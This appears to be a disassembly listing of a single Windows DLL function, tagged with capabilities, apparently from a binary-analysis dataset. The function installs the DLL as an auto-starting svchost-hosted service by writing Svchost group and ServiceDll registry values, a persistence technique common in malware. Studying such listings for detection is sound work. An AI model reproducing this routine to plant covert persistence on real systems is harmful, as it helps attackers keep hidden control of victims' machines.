Function at 0x180001420
Capabilities:
Create service
Get common file path
Persist via windows service
Set registry value
Start service

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r14
push rbp
lea rbp, [rsp - 0x9e0]
sub rsp, 0xae0
mov rax, qword [0x18001d008]
xor rax, rsp
mov qword [rbp + 0x9d0], rax
mov r14d, ecx
mov qword [rsp + 0x70], 0xffffffff80000002
xor edi, edi
lea rcx, [rbp - 0x80]
xor edx, edx
mov qword [rsp + 0x78], rdi
mov r8d, 0x208
mov esi, edi
call fcn.1800034f0
xor edx, edx
lea rcx, [rbp + 0x190]
mov r8d, 0x208
call fcn.1800034f0
mov rcx, qword [0x18001ebb8]
lea rdx, [rbp - 0x80]
mov r8d, 0x104
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rcx, [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
sub eax, 1
movsxd r8, eax
js 0x180001514
nop dword [rax + rax]
dec eax
cmp word [rbp + r8*2 - 0x80], 0x2e
je 0x1800014d3
sub r8, 1
jns 0x1800014c0
jmp 0x180001514
movsxd rcx, eax
test eax, eax
js 0x1800014f0
nop word [rax + rax]
cmp word [rbp + rcx*2 - 0x80], 0x5c
je 0x1800014f0
dec eax
sub rcx, 1
jns 0x1800014e0
inc eax
movsxd r9, eax
cmp r9, r8
jge 0x180001514
sub r8, r9
lea rdx, [rbp - 0x80]
lea rdx, [rdx + r9*2]
add r8, r8
lea rcx, [rbp + 0x190]
call fcn.180003950
xor edx, edx
lea rcx, [rbp + 0x7c0]
mov r8d, 0x208
call fcn.1800034f0
xor edx, edx
lea rcx, [rbp + 0x3a0]
mov r8d, 0x208
call fcn.1800034f0
xor edx, edx
lea rcx, [rbp + 0x5b0]
mov r8d, 0x208
call fcn.1800034f0
lea rdx, [rbp + 0x190]
lea rcx, [rbp + 0x3a0]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rdx, str.GroupEx
lea rcx, [rbp + 0x3a0]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
mov rcx, qword [rsp + 0x70]
lea rax, [rsp + 0x70]
mov r9d, 3
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftWindows_NTCurrentVersionSvchost
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov ebx, eax
test eax, eax
jne 0x18000177c
lea rcx, [rbp + 0x190]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov rcx, qword [rsp + 0x70]
lea r9d, [rbx + 7]
xor r8d, r8d
lea rdx, [rbp + 0x3a0]
lea eax, [rax*2 + 2]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0x190]
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ebx, eax
test eax, eax
jne 0x18000177c
xor edx, edx
xor ecx, ecx
mov r8d, 0xf003f
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov rsi, rax
test rax, rax
je 0x18000177c
mov edx, 0x104
lea rcx, [rbp + 0x5b0]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea rdx, str._svchost.exe__k
lea rcx, [rbp + 0x5b0]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, [rbp + 0x3a0]
lea rcx, [rbp + 0x5b0]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
mov qword [rsp + 0x60], rdi
lea rax, [rbp + 0x5b0]
mov qword [rsp + 0x58], rdi
lea rdx, [rbp + 0x190]
mov qword [rsp + 0x50], rdi
mov r9d, 0xf01ff
mov qword [rsp + 0x48], rdi
xor r8d, r8d
mov qword [rsp + 0x40], rdi
mov rcx, rsi
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 1
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 0x20
call qword [sym.imp.ADVAPI32.dll_CreateServiceW]
mov rdi, rax
test rax, rax
jne 0x1800016b3
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x431
jne 0x18000177c
lea rdx, str.SYSTEMCurrentControlSetServices_
mov qword [rsp + 0x70], 0xffffffff80000002
lea rcx, [rbp + 0x7c0]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rdx, [rbp + 0x190]
lea rcx, [rbp + 0x7c0]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
mov rcx, qword [rsp + 0x70]
lea rax, [rsp + 0x70]
mov r9d, 0xf003f
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, [rbp + 0x7c0]
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov ebx, eax
test eax, eax
jne 0x18000177c
mov rcx, qword [rsp + 0x70]
lea r8, [rsp + 0x78]
lea rdx, str.Parameters
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
mov ebx, eax
test eax, eax
jne 0x18000177c
lea rcx, [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov rcx, qword [rsp + 0x78]
lea r9d, [rbx + 2]
xor r8d, r8d
lea rdx, str.ServiceDll
lea eax, [rax*2 + 2]
mov dword [rsp + 0x28], eax
lea rax, [rbp - 0x80]
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ebx, eax
test eax, eax
jne 0x18000177c
test r14d, r14d
je 0x18000177c
xor r8d, r8d
xor edx, edx
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_StartServiceW]
mov rcx, qword [rsp + 0x70]
test rcx, rcx
je 0x18000178c
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rsp + 0x78]
test rcx, rcx
je 0x18000179c
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test rdi, rdi
je 0x1800017aa
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
test rsi, rsi
je 0x1800017b8
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, ebx
mov rcx, qword [rbp + 0x9d0]
xor rcx, rsp
call fcn.1800023c0
lea r11, [rsp + 0xae0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret